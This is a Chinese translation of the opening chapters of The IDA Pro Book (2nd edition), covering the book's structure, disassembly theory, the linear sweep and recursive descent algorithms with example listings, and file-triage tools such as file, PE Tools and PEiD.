IDA-Pro-之书第二版-全-

IDA Pro 之书第二版(全)

原文:The IDA Pro Book, 2nd

译者:飞龙

协议:CC BY-NC-SA 4.0

引言

无标题图片

撰写一本关于 IDA Pro 的书是一项具有挑战性的任务。它是一个复杂的软件,功能众多,甚至无法在合理大小的书中详细说明,这是最基本的问题。IDA 的新版本也倾向于频繁发布,以至于任何一本书在上市时几乎都会落后一个版本,甚至两个版本。包括在第一版即将付印时发布的 5.3 版本,自第一版出版以来,已经发布了七个新的 IDA 版本。6.0 版本的发布,它引入了一个基于 Qt 的新图形用户界面,激发了我更新这本书并解决在中间期间引入的许多新功能。当然,一如既往,在后期又发布了另一个 IDA 版本(6.1),这只是为了使事情更加有趣。

我在这版中的目标依然是帮助他人开始使用 IDA,并可能对逆向工程产生兴趣。对于任何想要进入逆向工程领域的人来说,我无法强调培养编程技能的重要性。理想情况下,你应该热爱代码,甚至可能达到吃、睡、呼吸代码的程度。如果你觉得编程令人生畏,那么逆向工程可能不适合你。有人可能会争论说逆向工程根本不需要编程,因为你所做的一切只是拆解别人的程序;然而,如果不致力于开发脚本和插件来自动化你的工作,你将永远无法成为一个真正有效的逆向工程师。在我的情况下,编程和逆向工程替代了《纽约时报》周日填字游戏的挑战,因此很少感到乏味。

为了保持连贯性,这一版保留了第一版的整体结构,并在适当的地方进行了详细阐述和添加了材料。阅读这本书有几种方式。对逆向工程背景知识了解不多的用户可能希望从第一章和第二章开始,以获取一些关于逆向工程和反汇编器的背景信息。没有太多 IDA 经验的用户,如果想要直接开始,可以从第三章开始,该章节讨论了 IDA 安装的基本布局,而第四章则涵盖了当你启动 IDA 并加载文件进行分析时会发生什么。第五章到第七章讨论了 IDA 的用户界面功能和基本能力。

对 IDA 有一定了解的读者可能希望从第八章开始,该章节讨论了如何使用 IDA 处理复杂的数据结构,包括 C++类。第九章接着介绍了 IDA 的交叉引用,这是 IDA 基于图形显示的基础(也在第九章中介绍)。第十章为对在非 Windows 平台(Linux 或 OS X)上运行 IDA 感兴趣的读者提供了一些有用的信息。

对于更高级的 IDA 用户来说,从第十一章到第十四章可能是一个好的起点,因为它们涵盖了 IDA 及其配套工具的一些边缘用途。第十一章简要介绍了 IDA 的一些配置选项。第十二章涵盖了 IDA 的 FLIRT/FLAIR 技术和相关的工具,这些工具用于开发和利用签名来区分库代码和应用代码。第十三章提供了一些关于 IDA 类型库及其扩展方式的见解,而第十四章则回答了是否可以使用 IDA 来修补二进制文件这一常被询问的问题。

IDA 是一个功能强大的工具,直接使用即可;然而,其最大的优势之一是其可扩展性,用户已经利用这一点在多年中让 IDA 做一些非常有趣的事情。IDA 的可扩展性功能在第十五章到第十九章中有所介绍,这些章节从 IDA 的脚本功能开始,包括对 IDAPython 的更多覆盖,然后系统地介绍了 IDA 的编程 API,这些 API 由其软件开发工具包(SDK)提供。第十六章概述了 SDK,而第十七章到第十九章则指导你了解插件、文件加载器和处理器模块。

在覆盖了 IDA 的大部分功能之后,从第二十章到第二十三章转向了 IDA 在逆向工程中的更多实际应用,通过考察编译器的差异(第二十章); 如何使用 IDA 分析混淆代码,这在分析恶意软件时经常遇到(第二十一章); 以及 IDA 在漏洞发现和分析过程中的应用(第二十二章). 第二十三章通过展示多年来发布的一些有用的 IDA 扩展(插件)来结束这一部分。

本书以对 IDA 内置调试器的扩展覆盖结束,从第二十四章到第二十六章. 第二十四章首先介绍了调试器的基本功能。第二十五章讨论了使用调试器检查混淆代码的一些挑战,包括处理可能存在的任何反调试功能的挑战。第二十六章通过讨论 IDA 的远程调试能力和使用 Bochs 仿真器作为集成调试平台来结束本书。

在撰写本书时,IDA 6.1 版是最新的版本,本书主要基于 6.1 版编写。Hex-Rays 足够慷慨,免费提供旧版本的 IDA;IDA 的免费版是 IDA 5.0 的简化功能版本。虽然本书中讨论的许多 IDA 功能也适用于免费版,但附录 A 简要概述了免费版用户可能会遇到的一些差异。

最后,由于从 IDA 脚本开始并逐步过渡到创建编译插件是一种相当自然的进展,附录 B 提供了每个 IDC 函数与其对应的 SDK 对应函数的完整映射。在某些情况下,你会在 IDC 函数和 SDK 函数之间找到一个一对一的对应关系(尽管在所有情况下这些函数的名称都不同);在其他情况下,你会发现需要多个 SDK 函数调用才能实现单个 IDC 函数。附录 B 的目的是回答类似“我知道如何在 IDC 中做X,我该如何通过插件来做X?”的问题。附录 B 中的信息是通过逆向工程 IDA 内核获得的,这在 IDA 的非典型许可协议下是完全合法的。

在整本书中,我尽量避免了长序列的代码,而是选择短序列来展示特定的点。绝大多数示例代码,以及用于生成示例的许多二进制文件,都可以在本书的官方网站www.idabook.com/上找到,在那里你还可以找到书中未包含的额外示例以及书中使用的全面参考文献列表(例如,所有脚注中提到的所有 URL 的实时链接)。

第一部分。IDA 简介

第一章。汇编简介

无标题图片

你可能想知道一本专门介绍 IDA Pro 的书会有什么内容。虽然显然是以 IDA 为中心,但这本书并不打算成为IDA Pro 用户手册。相反,我们打算使用 IDA 作为讨论逆向工程技术的工具,这些技术对于分析各种软件非常有用,从易受攻击的应用程序到恶意软件。在适当的时候,我们将提供在 IDA 中执行与当前任务相关的特定操作的详细步骤。因此,我们将对 IDA 的功能进行较为曲折的探索,从检查文件时的基本任务开始,到高级使用和定制 IDA 以解决更复杂的逆向工程问题。我们并不试图涵盖 IDA 的所有功能。然而,我们确实涵盖了你在解决逆向工程挑战时最可能发现有用的功能。这本书将帮助使 IDA 成为你工具库中最强大的武器。

在深入研究 IDA 的任何具体内容之前,了解汇编过程的一些基本知识以及回顾一些可用于编译代码逆向工程的其他工具将是有用的。虽然这些工具中没有哪一个提供 IDA 的全部功能,但每个工具都针对 IDA 功能的具体子集,并为特定 IDA 功能提供了宝贵的见解。本章的其余部分致力于理解汇编过程。

汇编理论

任何花时间研究编程语言的人可能都了解过各种语言代系,但这里总结了这些内容,以便那些可能一直在睡觉的人了解。

第一代语言

这些是最基本的语言形式,通常由一和零或一些简写形式,如十六进制组成,只有二进制忍者才能阅读。在这个层面上,事情很混乱,因为通常很难区分数据和指令,因为它们看起来几乎完全相同。第一代语言也被称为机器语言,在某些情况下称为字节码,而机器语言程序通常被称为二进制

第二代语言

也称为汇编语言,第二代语言仅通过查找表即可接近机器语言,通常将特定的位模式或操作码(opcodes)映射到简短但易于记忆的字符序列,称为助记符。偶尔,这些助记符实际上有助于程序员记住与它们相关的指令。汇编器是程序员用来将他们的汇编语言程序翻译成适合执行的目标机器语言的工具。

第三代语言

这些语言通过引入程序员用作程序构建块的键词和结构,进一步提高了自然语言的表达能力。第三代语言通常是平台无关的,尽管使用它们编写的程序可能由于使用了特定操作系统的独特功能而具有平台依赖性。常引用的例子包括 FORTRAN、COBOL、C 和 Java。程序员通常使用编译器将他们的程序翻译成汇编语言,甚至直接翻译成机器语言(或某些粗略的等效物,如字节码)。

第四代语言

这些工具存在,但与本书无关,因此不会进行讨论。

反汇编的“是什么”

在传统的软件开发模型中,编译器、汇编器和链接器单独使用或组合使用来创建可执行程序。为了逆向工作(或进行逆向工程),我们使用工具来撤销汇编和编译过程。不出所料,这样的工具被称为反汇编器反汇编器,它们基本上做了它们名字暗示的事情。反汇编器撤销汇编过程,因此我们应该期望输出是汇编语言(因此输入是机器语言)。反汇编器旨在在给定汇编语言甚至机器语言作为输入时产生高级语言输出。

在竞争激烈的软件市场中,“源代码恢复”的承诺总是具有吸引力,因此,可用的反汇编器的开发仍然是计算机科学中的一个活跃的研究领域。以下只是几个说明反汇编困难的原因:

编译过程是有损的

在机器语言级别,没有变量或函数名,变量类型信息只能通过数据的使用方式来确定,而不是通过显式的类型声明。当你观察到 32 位数据正在传输时,你需要做一些调查工作来确定这 32 位代表一个整数、一个 32 位的浮点值还是一个 32 位的指针。

编译是一个多对多的操作

这意味着源程序可以以多种不同的方式翻译成汇编语言,机器语言也可以以多种不同的方式翻译回源代码。因此,编译一个文件然后立即反汇编它可能会产生与输入文件截然不同的源文件是很常见的。

反汇编器非常依赖于语言和库

使用设计用于生成 C 代码的反汇编器处理由 Delphi 编译器生成的二进制文件可能会产生非常奇怪的结果。同样,将编译的 Windows 二进制文件通过一个对 Windows 编程 API 一无所知的反汇编器处理可能不会产生任何有用的结果。

为了准确反汇编二进制文件,需要几乎完美的反汇编能力

在反汇编阶段出现的任何错误或遗漏几乎肯定会传播到反编译代码中。

Hex-Rays,目前市场上最复杂的反编译器,将在第二十三章中回顾。

反汇编的“为什么”

反汇编工具的目的通常是为了在源代码不可用时方便理解程序。使用反汇编的常见情况包括以下这些:

  • 恶意软件分析

  • 封闭源软件的安全漏洞分析

  • 封闭源软件的互操作性分析

  • 分析编译器生成的代码以验证编译器性能/正确性

  • 调试时显示程序指令

后续章节将更详细地解释每种情况。

恶意软件分析

除非你正在处理基于脚本的蠕虫,恶意软件作者很少会提供他们作品的源代码。没有源代码,你将面临一个非常有限的选项集,以发现恶意软件的确切行为。恶意软件分析的两个主要技术是动态分析和静态分析。动态分析涉及在精心控制的环境中(沙盒)允许恶意软件执行,同时使用任何数量的系统仪器工具记录其行为的每一个可观察方面。相比之下,静态分析试图通过阅读程序代码来理解程序的行为,在恶意软件的情况下,这通常由反汇编列表组成。

漏洞分析

为了简化起见,让我们将整个安全审计过程分为三个步骤:漏洞发现、漏洞分析和利用开发。无论你是否拥有源代码,这些步骤都适用;然而,当你只有二进制文件时,所需的努力水平会大幅增加。这个过程的第一步是在程序中发现一个可能可利用的条件。这通常是通过使用模糊测试等动态技术来完成的,但也可以通过静态分析来完成(通常需要更多的努力)。一旦发现问题,通常需要进行进一步的分析,以确定问题是否可利用,如果是的话,在什么条件下可利用。

反汇编列表提供了理解编译器如何选择分配程序变量的详细程度。例如,可能有用的是知道程序员声明的 70 字节字符数组在编译器分配时被四舍五入到 80 字节。反汇编列表还提供了唯一的方法来确定编译器如何选择对所有全局或函数内声明的变量进行排序。在尝试开发利用程序时,理解变量之间的空间关系通常是至关重要的。最终,通过使用反汇编器和调试器一起,可以开发出利用程序。

软件互操作性

当软件仅以二进制形式发布时,竞争对手很难创建可以与之互操作的软件或提供该软件的插件替代品。一个常见的例子是为仅支持一个平台的硬件发布的驱动代码。当供应商缓慢支持或更糟糕的是拒绝支持其硬件与替代平台的使用时,可能需要大量的逆向工程工作来开发支持该硬件的软件驱动程序。在这些情况下,静态代码分析几乎是唯一的补救措施,并且通常必须超出软件驱动程序来理解嵌入式固件。

编译器验证

由于编译器(或汇编器)的目的是生成机器语言,因此通常需要优秀的拆解工具来验证编译器是否按照任何设计规范完成其工作。分析师还可能对寻找优化编译器输出的额外机会感兴趣,从安全角度来看,确定编译器本身是否已被破坏到可能在其生成的代码中插入后门的程度。

调试显示

可能最常见的使用拆解器的方式是在调试器中生成列表。不幸的是,嵌入在调试器中的拆解器往往相当简单。它们通常无法进行批量拆解,有时在无法确定函数边界时甚至拒绝拆解。这就是为什么最好将调试器与高质量的拆解器一起使用,以便在调试过程中提供更好的情境意识和上下文。


^([1]) 模糊测试是一种漏洞发现技术,它依赖于为程序生成大量唯一的输入,希望其中之一会导致程序以可检测、分析并最终可利用的方式失败。

拆解的“如何”

现在你已经熟悉了拆解的目的,是时候继续了解这个过程是如何实际运作的了。考虑一个典型的令拆解者感到畏惧的任务:将这些 100KB 的数据区分开来,区分代码和数据,将代码转换为汇编语言以供用户显示,并且在过程中请勿遗漏任何细节。我们可以在末尾添加任何数量的特殊要求,例如要求拆解器定位函数、识别跳转表和识别局部变量,从而使拆解器的任务变得更加困难。

为了满足我们的所有需求,任何反汇编器在导航我们提供的文件时都需要从各种算法中进行选择。生成的反汇编列表的质量将直接与所使用算法的质量以及它们的实现程度有关。在本节中,我们将讨论目前用于反汇编机器代码的两个基本算法。在介绍这些算法时,我们还将指出它们的不足,以便为你的反汇编器似乎失败的情况做好准备。通过了解反汇编器的限制,你将能够手动干预以改善反汇编输出的整体质量。

基本反汇编算法

首先,让我们开发一个简单的算法,用于接受机器语言作为输入并产生汇编语言作为输出。通过这样做,我们将了解自动化反汇编过程背后的挑战、假设和妥协。

步骤 1

反汇编过程的第一步是确定要反汇编的代码区域。这并不一定像看起来那么简单。指令通常与数据混合,区分两者很重要。在最常见的情况下,反汇编可执行文件时,文件将符合可执行文件的通用格式,例如在 Windows 上使用的通用可执行文件(PE)格式或许多基于 Unix 系统的通用可执行链接格式(ELF)。这些格式通常包含机制(通常以分层文件头的形式),用于定位包含代码和进入该代码的入口点^([2])。

步骤 2

给定一条指令的初始地址,下一步是读取该地址(或文件偏移量)中包含的值,并执行表查找以将二进制操作码值与其汇编语言助记符匹配。根据正在反汇编的指令集的复杂性,这可能是一个简单的过程,也可能涉及几个额外的操作,例如理解可能修改指令行为的任何前缀以及确定指令所需的任何操作数。对于具有可变长度指令的指令集,例如英特尔 x86,可能需要检索额外的指令字节才能完全反汇编单个指令。

步骤 3

一旦取回指令并解码了所需的操作数,其汇编语言等效物将被格式化并作为反汇编列表的一部分输出。可能可以选择多种汇编语言输出语法。例如,x86 汇编语言的两种主要格式是英特尔格式和 AT&T 格式。

X86 汇编语法:AT&T 与英特尔

用于汇编源代码的两种主要语法是 AT&T 和 Intel。尽管它们是第二代语言,但它们在语法上差异很大,从变量、常量和寄存器访问到段和指令大小覆盖,再到间接和偏移量。AT&T 汇编语法的特点是使用%符号作为所有寄存器名称的前缀,使用$作为文字常量(也称为立即操作数)的前缀,以及其操作数顺序,其中源操作数作为左手操作数,目标操作数位于右侧。使用 AT&T 语法,将四个加到 EAX 寄存器的指令将读取为:add $0x4,%eax。GNU 汇编器(Gas)和许多其他 GNU 工具,包括 gcc 和 gdb,都使用 AT&T 语法。

Intel 语法与 AT&T 不同,因为它不需要寄存器或文字前缀,并且操作数顺序相反,即源操作数位于右侧,目标操作数位于左侧。使用 Intel 语法的相同加法指令将读取为:add eax,0x4。使用 Intel 语法的汇编器包括 Microsoft 汇编器(MASM)、Borland 的 Turbo 汇编器(TASM)和 Netwide 汇编器(NASM)。

步骤 4

在输出一个指令之后,我们需要前进到下一个指令并重复之前的步骤,直到我们反汇编了文件中的每个指令。

存在着各种算法来确定反汇编的开始位置,如何选择下一个要反汇编的指令,如何区分代码和数据,以及如何确定最后一个指令已经被反汇编。两种主要的反汇编算法是线性扫描递归下降

线性扫描反汇编

线性扫描反汇编算法采用了一种非常直接的方法来定位要反汇编的指令:一个指令结束,另一个指令开始。因此,面临的最困难的决定是哪里开始。通常的解决方案是假设程序中标记为代码的部分(通常由程序文件的头部指定)包含的是机器语言指令。反汇编从代码部分的第一字节开始,以线性方式通过该部分,逐个反汇编指令,直到达到部分的末尾。没有努力去通过识别非线性指令(如分支)来理解程序的控制流。

在反汇编过程中,可以维护一个指针来标记当前正在反汇编的指令的开始。作为反汇编过程的一部分,计算每个指令的长度,并用于确定下一个要反汇编的指令的位置。具有固定长度指令集(例如 MIPS)的反汇编相对容易,因为定位后续指令是直接的。

线性扫描算法的主要优势是它提供了对程序代码段的全面覆盖。线性扫描方法的其中一个主要缺点是它未能考虑到数据可能与代码混合在一起的事实。这在示例 1-1 中表现得尤为明显,该示例展示了使用线性扫描反汇编器反汇编的函数输出。这个函数包含了一个 switch 语句,并且在这个例子中,编译器选择使用跳转表来实现 switch。此外,编译器还选择在函数本身中嵌入跳转表。位于401250jmp语句引用了一个以401257开始的地址表。不幸的是,反汇编器将401257视为一条指令,并错误地生成了相应的汇编语言表示:

示例 1-1. 线性扫描反汇编

40123f:    55                       push   ebp
  401240:    8b ec                    mov    ebp,esp
  401242:    33 c0                    xor    eax,eax
  401244:    8b 55 08                 mov    edx,DWORD PTR [ebp+8]
  401247:    83 fa 0c                 cmp    edx,0xc
  40124a:    0f 87 90 00 00 00        ja     0x4012e0
 401250:    ff 24 95 57 12 40 00     jmp    DWORD PTR [edx*4+0x401257]
 401257:    e0 12                    loopne 0x40126b
  401259:    40                       inc    eax
  40125a:    00 8b 12 40 00 90        add    BYTE PTR [ebx-0x6fffbfee],cl
  401260:    12 40 00                 adc    al,BYTE PTR [eax]
  401263:    95                       xchg   ebp,eax
  401264:    12 40 00                 adc    al,BYTE PTR [eax]
  401267:    9a 12 40 00 a2 12 40     call   0x4012:0xa2004012
  40126e:    00 aa 12 40 00 b2        add    BYTE PTR [edx-0x4dffbfee],ch
  401274:    12 40 00                 adc    al,BYTE PTR [eax]
  401277:    ba 12 40 00 c2           mov    edx,0xc2004012
  40127c:    12 40 00                 adc    al,BYTE PTR [eax]
  40127f:    ca 12 40                 lret   0x4012
  401282:    00 d2                    add    dl,dl
  401284:    12 40 00                 adc    al,BYTE PTR [eax]
  401287:    da 12                    ficom  DWORD PTR [edx]
  401289:    40                       inc    eax
  40128a:    00 8b 45 0c eb 50        add    BYTE PTR [ebx+0x50eb0c45],cl
  401290:    8b 45 10                 mov    eax,DWORD PTR [ebp+16]
  401293:    eb 4b                    jmp    0x4012e0

如果我们从401257开始,以小端格式检查连续的 4 字节组作为值,我们会看到每个值代表一个指向附近地址的指针,而这个地址实际上是各种跳转(004012e00040128b00401290等)的目的地。因此,位于401257loopne指令根本不是一条指令。相反,它表明线性扫描算法未能正确地区分嵌入的数据和代码。

线性扫描被包含在 GNU 调试器(gdb)、微软的 WinDbg 调试器和objdump实用程序中的反汇编引擎所使用。

递归下降反汇编

递归下降采用不同的方法来定位指令。递归下降关注控制流的概念,根据指令是否被其他指令引用来决定是否应该反汇编指令。为了理解递归下降,根据指令如何影响 CPU 指令指针对指令进行分类是有帮助的。

顺序流程指令

顺序流程指令将执行传递给紧随其后的指令。顺序流程指令的例子包括简单的算术指令,如add;寄存器到内存传输指令,如mov;以及栈操作,如pushpop。对于此类指令,反汇编过程与线性扫描相同。

条件分支指令

条件分支指令,如 x86 的 jnz,提供两条可能的执行路径。如果条件评估为真,则执行分支,并且指令指针必须更改以反映分支的目标。然而,如果条件为假,执行将以线性方式继续,可以使用线性扫描方法来反汇编下一个指令。由于在静态上下文中通常无法确定条件测试的结果,递归下降算法会反汇编两条路径,通过将目标指令的地址添加到稍后要反汇编的地址列表中,延迟反汇编分支目标指令。

无条件分支指令

无条件分支不遵循线性流程模型,因此递归下降算法会以不同的方式处理它们。与顺序流程指令一样,执行只能流向一个指令;然而,该指令不必立即跟随分支指令。实际上,正如示例 1-1 所示,无条件分支后不需要指令立即跟随。因此,没有必要反汇编无条件分支后的字节。

递归下降反汇编器将尝试确定无条件跳转的目标,并将目标地址添加到尚未探索的地址列表中。不幸的是,某些无条件分支可能会给递归下降反汇编器带来问题。当跳转指令的目标依赖于运行时值时,可能无法通过静态分析确定跳转的目的地。x86 指令 jmp eax 就展示了这个问题。eax 寄存器仅在程序实际运行时才包含值。由于在静态分析期间寄存器不包含值,我们无法确定跳转指令的目标,因此也无法确定反汇编过程的继续位置。

函数调用指令

函数调用指令的操作方式与无条件跳转指令非常相似(包括反汇编器无法确定如 call eax 这样的指令的目标),并且还有一个额外的期望,即函数完成后执行通常会返回到调用指令之后的指令。在这方面,它们与条件分支指令相似,因为它们生成两条执行路径。调用指令的目标地址被添加到列表中以便延迟反汇编,而调用指令之后的指令以类似于线性扫描的方式反汇编。

如果程序在从被调用函数返回时没有按预期行为,递归下降可能会失败。例如,函数中的代码可以故意操纵该函数的返回地址,使得在完成时,控制权返回到与反汇编器预期不同的位置。以下是一个简单的错误列表示例,其中函数foo在返回调用者之前简单地将 1 加到返回地址上。

foo                 proc near
  FF 04 24          inc     dword ptr [esp]  ; increments saved return addr
  C3                retn
foo                 endp
; -------------------------------------
bar:
  E8 F7 FF FF FF    call    foo
  05 89 45 F8 90    add   eax, 90F84589h

因此,控制实际上并没有传递到调用foo之后的图片链接处的add指令。下面是一个适当的反汇编示例:

foo                 proc near
  FF 04 24          inc     dword ptr [esp]
  C3                retn
foo                 endp
; -------------------------------------
bar:
  E8 F7 FF FF FF    call    foo
  05                db    5 ;formerly the first byte of the add instruction
  89 45 F8          mov   [ebp-8], eax
  90                nop

此列表更清楚地显示了程序的实际流程,其中函数foo实际上返回到mov指令,如图所示 图片链接。重要的是要理解,线性扫描反汇编器也会失败地正确反汇编此代码,尽管原因略有不同。

返回指令

在某些情况下,递归下降算法会耗尽可跟随的路径。一个函数返回指令(例如 x86 的ret)不会提供关于下一个要执行指令的信息。如果程序实际上正在运行,则会从运行时栈的顶部取一个地址,并且执行将从该地址恢复。反汇编器没有访问栈的优势。相反,反汇编会突然停止。正是在这一点上,递归下降反汇编器转向它为延迟反汇编而保留的地址列表。从这个列表中移除一个地址,并从这个地址继续反汇编过程。这就是赋予反汇编算法其名称的递归过程。

递归下降算法的一个主要优点是其区分代码和数据的能力优于其他算法。作为一个基于控制流的算法,它不太可能错误地将数据值反汇编为代码。递归下降的主要缺点是无法跟随间接代码路径,例如跳转或调用,这些路径使用指针表来查找目标地址。然而,通过添加一些启发式方法来识别指向代码的指针,递归下降反汇编器可以提供非常完整的代码覆盖率和出色的代码与数据识别。示例 1-2 显示了在之前示例 1-1 中显示的相同 switch 语句上使用的递归下降反汇编器的输出。

示例 1-2。递归下降反汇编

0040123F   push ebp
00401240   mov  ebp, esp
00401242   xor  eax, eax
00401244   mov  edx, [ebp+arg_0]
00401247   cmp  edx, 0Ch             ; switch 13 cases
0040124A   ja   loc_4012E0           ; default
0040124A                             ; jumptable 00401250 case 0
00401250   jmp  ds:off_401257[edx*4] ; switch jump
00401250 ; ---------------------------------------------------
00401257 off_401257:
00401257   dd offset loc_4012E0  ; DATA XREF: sub_40123F+11r
00401257   dd offset loc_40128B  ; jump table for switch statement
00401257   dd offset loc_401290
00401257   dd offset loc_401295
00401257   dd offset loc_40129A
00401257   dd offset loc_4012A2
00401257   dd offset loc_4012AA
00401257   dd offset loc_4012B2
00401257   dd offset loc_4012BA
00401257   dd offset loc_4012C2
00401257   dd offset loc_4012CA
00401257   dd offset loc_4012D2
00401257   dd offset loc_4012DA
0040128B ; ---------------------------------------------------
0040128B
0040128B loc_40128B:             ; CODE XREF: sub_40123F+11j
0040128B                         ; DATA XREF: sub_40123F:off_401257o
0040128B   mov  eax, [ebp+arg_4] ; jumptable 00401250 case 1
0040128E   jmp  short loc_4012E0 ; default
0040128E                         ; jumptable 00401250 case 0

注意,跳转目标表已经被识别并相应地格式化。IDA Pro 是最著名的递归下降反汇编器的例子。理解递归下降过程将帮助我们识别 IDA 可能产生非最佳反汇编的情况,并允许我们制定策略来提高 IDA 的输出。


^([2]) 程序入口点简单地是指操作系统在程序加载到内存后传递控制权的指令地址。

^([3]) CPU 被描述为大端或小端,这取决于 CPU 是首先保存多字节值的最重要字节(大端)还是首先存储最不重要的字节(小端)。

摘要

在使用反汇编器时,对反汇编算法的深入理解是否是必要的?不是。它有用吗?是的!在与工具斗争时,你肯定不希望花费时间。IDA 的许多优点之一是,与其他大多数反汇编器不同,它为你提供了很多机会来引导和覆盖其决策。最终结果是,最终产品,一个准确的反汇编,将远远优于其他任何可用的东西。

在下一章中,我们将回顾各种现有工具,这些工具在许多逆向工程场景中非常有用。虽然这些工具与 IDA 没有直接关系,但许多工具都受到了 IDA 的影响,并且它们有助于解释 IDA 用户界面中可用的广泛信息显示。

第二章。逆向工程和反汇编工具

无标题图片

在掌握了一些反汇编背景知识之后,在我们开始深入研究 IDA Pro 的具体细节之前,了解一些用于逆向工程二进制文件的其他工具将是有用的。许多这些工具在 IDA 之前就已经存在,并且继续用于快速查看文件以及双重检查 IDA 的工作。正如我们将看到的,IDA 将这些工具的许多功能整合到其用户界面中,以提供一个单一的、集成的逆向工程环境。最后,尽管 IDA 包含一个集成的调试器,但在这里我们不会介绍调试器,因为第二十四章、第二十五章和第二十六章都专门讨论了这个主题。

分类工具

当首次遇到一个未知文件时,回答简单的问题,如“这是什么?”通常很有用。尝试回答该问题的第一规则是永远不要依赖文件扩展名来确定文件实际上是什么。这也是第二个、第三个和第四个经验法则。一旦你成为“文件扩展名没有意义”这一观点的拥护者,你可能希望熟悉以下一个或多个实用工具。

file

file 命令是一个标准实用工具,包含在大多数 *NIX 风格的操作系统以及 Windows 的 Cygwin^([4]) 或 MinGW^([5]) 工具中。File 通过检查文件中的特定字段来尝试识别文件类型。在某些情况下,file 识别常见的字符串,如 #!/bin/sh(一个 shell 脚本)或 (一个 HTML 文档)。包含非 ASCII 内容的文件会带来一些挑战。在这种情况下,file 尝试确定内容是否似乎遵循一个已知的文件格式。在许多情况下,它会搜索特定的标签值(通常称为魔数^([6])),这些值被认为是特定文件类型的独特标识。下面的十六进制列表显示了用于识别一些常见文件类型的几个魔数示例。

Windows PE executable file
00000000   `4D 5A` 90 00  03 00 00 00  04 00 00 00  FF FF 00 00  `MZ`..............
00000010   B8 00 00 00  00 00 00 00  40 00 00 00  00 00 00 00  ........@.......

Jpeg image file
00000000   `FF D8` FF E0  00 10 `4A 46  49 46` 00 01  01 01 00 60  ......`JFIF`.....`
00000010   00 60 00 00  FF DB 00 43  00 0A 07 07  08 07 06 0A  .`.....C........

Java .class file
00000000   `CA FE BA BE`  00 00 00 32  00 98 0A 00  2E 00 3E 08  .......2......>.
00000010   00 3F 09 00  40 00 41 08  00 42 0A 00  43 00 44 0A  .?..@.A..B..C.D.

file 能够识别大量文件格式,包括几种 ASCII 文本文件类型以及各种可执行和数据文件格式。file 执行的魔数检查受一个 magic 文件 中包含的规则的约束。默认的 magic 文件因操作系统而异,但常见位置包括 /usr/share/file/magic/usr/share/misc/magic/etc/magic。请参阅 file 的文档以获取有关 magic 文件的更多信息。

CYGWIN 环境

Cygwin 是一套为 Windows 操作系统提供的工具,它提供了一个 Linux 风格的命令 shell 和相关程序。在安装过程中,用户可以从大量的标准包中进行选择,包括编译器(gcc、g++)、解释器(Perl、Python、Ruby)、网络工具(ncssh)等。一旦安装了 Cygwin,许多为 Linux 编写的程序就可以在 Windows 系统上编译和执行。

在某些情况下,file 可以区分给定文件类型内的变体。以下列表展示了 file 能够识别的不仅仅是几种 ELF 二进制文件的变体,还包括有关二进制文件是如何链接(静态或动态)以及二进制文件是否被剥离的信息。

idabook# `file ch2_ex_*`
ch2_ex.exe:                  MS-DOS executable PE  for MS Windows (console)
                             Intel 80386 32-bit
ch2_ex_upx.exe:              MS-DOS executable PE  for MS Windows (console)
                             Intel 80386 32-bit, UPX compressed
ch2_ex_freebsd:              ELF 32-bit LSB executable, Intel 80386,
                             version 1 (FreeBSD), for FreeBSD 5.4,
                             dynamically linked (uses shared libs),
                             FreeBSD-style, not stripped
ch2_ex_freebsd_static:       ELF 32-bit LSB executable, Intel 80386,
                             version 1 (FreeBSD), for FreeBSD 5.4,
                             statically linked, FreeBSD-style, not stripped
ch2_ex_freebsd_static_strip: ELF 32-bit LSB executable, Intel 80386,
                             version 1 (FreeBSD), for FreeBSD 5.4,
                             statically linked, FreeBSD-style, stripped
ch2_ex_linux:                ELF 32-bit LSB executable, Intel 80386,
                             version 1 (SYSV), for GNU/Linux 2.6.9,
                             dynamically linked (uses shared libs),
                             not stripped
ch2_ex_linux_static:         ELF 32-bit LSB executable, Intel 80386,
                             version 1 (SYSV), for GNU/Linux 2.6.9,
                             statically linked, not stripped
ch2_ex_linux_static_strip:   ELF 32-bit LSB executable, Intel 80386,
                             version 1 (SYSV), for GNU/Linux 2.6.9,
                             statically linked, stripped
ch2_ex_linux_stripped:       ELF 32-bit LSB executable, Intel 80386,
                             version 1 (SYSV), for GNU/Linux 2.6.9,
                             dynamically linked (uses shared libs), stripped

剥离二进制可执行文件

去除二进制文件中的符号是移除二进制文件中符号的过程。二进制目标文件包含符号,这是编译过程的结果。其中一些符号在链接过程中被用于解决文件之间的引用,以创建最终的执行文件或库。在其他情况下,符号可能存在以提供用于调试器的额外信息。在链接过程之后,许多符号不再需要。传递给链接器的选项可以导致链接器在构建时移除不必要的符号。或者,可以使用名为 strip 的实用程序从现有二进制文件中移除符号。虽然去除符号的二进制文件将比未去除符号的对应文件更小,但去除符号的二进制文件的行为将保持不变。

file 和类似的实用程序并非万无一失。一个文件可能仅仅因为偶然带有某种文件格式的标识符而被错误识别。您可以通过使用十六进制编辑器修改任何文件的第一个四个字节为 Java 魔数序列:CA FE BA BE 来亲自看到这一点。file 实用程序将错误地将新修改的文件识别为 编译的 Java 类数据。同样,只包含两个字符 MZ 的文本文件将被识别为 MS-DOS 可执行文件。在任何逆向工程工作中,一个好的做法是在您将输出与多个工具和手动分析相关联之前,不要完全信任任何工具的输出。

PE Tools

PE Tools^([7]) 是一套用于分析 Windows 系统上运行进程和可执行文件的工具集合。图 2-1 显示了 PE Tools 提供的主要界面,该界面显示活动进程列表并提供对所有 PE Tools 实用程序的访问。

PE 工具实用程序

图 2-1. PE 工具实用程序

从进程列表中,用户可以将进程的内存映像导出到文件,或者使用 PE 嗅探器实用程序来确定用于构建可执行文件的编译器,或者可执行文件是否被任何已知的混淆工具处理。工具菜单提供了类似的分析磁盘文件选项。用户可以使用嵌入的 PE 编辑器实用程序查看文件的 PE 标头字段,该实用程序还允许轻松修改任何标头值。在尝试从该文件的混淆版本中重建有效的 PE 时,通常需要修改 PE 标头。

二进制文件混淆

混淆是指任何试图掩盖某事物真正含义的尝试。当应用于可执行文件时,混淆是指任何试图隐藏程序真实行为的尝试。程序员可能出于多种原因采用混淆。常见的例子包括保护专有算法和掩盖恶意意图。几乎所有形式的恶意软件都利用混淆来阻碍分析。有许多工具可供程序作者使用,以生成混淆程序。混淆工具和技术及其对逆向工程过程的影响将在第二十一章中进一步讨论。

PEiD

PEiD^([8]) 是另一个 Windows 工具,其主要目的是识别用于构建特定 Windows PE 二进制的编译器以及识别用于混淆 Windows PE 二进制的任何工具。图 2-2 显示了使用 PEiD 识别用于混淆 Gaobot^([9])蠕虫变体的工具(在本例中为 ASPack)。

PEiD 工具

图 2-2. PEiD 工具

